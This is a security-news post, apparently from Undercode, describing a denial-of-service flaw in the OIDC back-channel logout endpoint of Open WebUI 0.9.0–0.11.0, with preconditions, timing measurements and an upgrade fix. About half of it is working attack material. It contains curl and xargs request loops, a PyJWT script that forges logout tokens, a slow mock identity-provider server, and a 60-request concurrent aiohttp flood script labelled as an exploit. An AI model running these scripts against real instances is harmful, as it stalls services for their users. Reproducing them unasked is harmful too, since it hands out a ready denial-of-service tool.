Listen to this Post
The OIDC back-channel logout endpoint accepts logout tokens from an identity provider.
It is unauthenticated by design because the provider calls it without a browser session.
In affected Open WebUI releases, the handler does network work before verifying the token.
It fetches the provider discovery document for every incoming request.
It then fetches the provider signing keys for every incoming request.
Nothing caches the discovery document between requests.
Nothing caches the signing keys between requests.
The signing-key fetch is synchronous and blocks the async event loop.
A worthless token can trigger this work before rejection.
No account, credential, session, or secret is needed.
The attacker only needs network access to the instance.
The attacker also needs the configured issuer string.
The issuer string is published in the provider discovery document.
ENABLE_OAUTH_BACKCHANNEL_LOGOUT=true is required.
The default is false, so stock deployments are not affected.
Hardening documentation recommends enabling it, so the issue is in scope.
At least one OIDC provider must be configured.
Configuration uses OAUTH_CLIENT_ID, OAUTH_CLIENT_SECRET, and OPENID_PROVIDER_URL.
The endpoint is POST /oauth/backchannel-logout.
The affected code is backend/open_webui/utils/oauth.py.
Affected releases are 0.9.0 through 0.11.0.
With a 150 ms provider, 60 concurrent requests stalled the loop for 8.3 seconds.
Idle event-loop baseline was 10.8 ms.
Open WebUI runs a single worker by default.
The stall is instance-wide, not per-connection.
No rate limit sits in front of the endpoint.
The same traffic amplifies load onto the identity provider.
20 sequential requests caused 20 discovery fetches and 40 key-set fetches.
No data is read, modified, or exposed.
The forged token is still rejected, but the cost is paid before rejection.
DailyCVE Form:
Platform: Open WebUI
Version: 0.9.0-0.11.0
Vulnerability: OIDC logout DoS
Severity: Not stated
date: Not provided
Prediction: Patch date unknown
(end of form)
What Undercode Say:
Analytics:
curl -sS -o /dev/null -w "%{http_code}\n" \
-X POST 'http://target:8080/oauth/backchannel-logout' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'logout_token=eyJhbGciOiJIUzI1NiIsImtpZCI6Im1pc3Npbmcta2V5In0.eyJpc3MiOiJodHRwczovL2lkcC5leGFtcGxlIiwibG9naW5fdG9rZW4iOnRydWUsImV4cCI6OTk5OTk5OTk5OSwiYXVkIjoib3BlbndlYnVpIn0.AAAA'
seq 1 20 | xargs -I{} curl -sS -o /dev/null \
-X POST 'http://target:8080/oauth/backchannel-logout' \
--data-urlencode 'logout_token=eyJhbGciOiJIUzI1NiIsImtpZCI6Im1pc3Npbmcta2V5In0.eyJpc3MiOiJodHRwczovL2lkcC5leGFtcGxlIiwibG9naW5fdG9rZW4iOnRydWUsImV4cCI6OTk5OTk5OTk5OSwiYXVkIjoib3BlbndlYnVpIn0.AAAA'
import jwt
token = jwt.encode(
{
"iss": "https://idp.example",
"aud": "openwebui",
"login_token": True,
"exp": 9999999999,
},
key="",
algorithm="HS256",
headers={"kid": "missing-key"},
)
print(token + ".AAAA")
from http.server import BaseHTTPRequestHandler, HTTPServer
import time
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
print(self.path)
time.sleep(0.150)
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(b'{}')
HTTPServer(("127.0.0.1", 9000), Handler).serve_forever()
Exploit: (Educational Purposes!)
seq 1 60 | xargs -P60 -I{} curl -sS -o /dev/null \
-X POST 'http://target:8080/oauth/backchannel-logout' \
--data-urlencode 'logout_token=eyJhbGciOiJIUzI1NiIsImtpZCI6Im1pc3Npbmcta2V5In0.eyJpc3MiOiJodHRwczovL2lkcC5leGFtcGxlIiwibG9naW5fdG9rZW4iOnRydWUsImV4cCI6OTk5OTk5OTk5OSwiYXVkIjoib3BlbndlYnVpIn0.AAAA'
import asyncio
import aiohttp
url = "http://target:8080/oauth/backchannel-logout"
token = "eyJhbGciOiJIUzI1NiIsImtpZCI6Im1pc3Npbmcta2V5In0.eyJpc3MiOiJodHRwczovL2lkcC5leGFtcGxlIiwibG9naW5fdG9rZW4iOnRydWUsImV4cCI6OTk5OTk5OTk5OSwiYXVkIjoib3BlbndlYnVpIn0.AAAA"
async def hit(session):
await session.post(url, data={"logout_token": token})
async def main():
async with aiohttp.ClientSession() as session:
await asyncio.gather([hit(session) for _ in range(60)])
asyncio.run(main())
Protection: from this CVE
pip install -U open-webui==0.11.1
ENABLE_OAUTH_BACKCHANNEL_LOGOUT=false
0.11.1 Use configured OAuth client Fetch discovery once per provider Fetch JWKS once per provider Make both fetches asynchronous Reject missing kid before key lookup
Impact:
Instance-wide DoS No data exposure Outbound provider load Forged token rejected
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

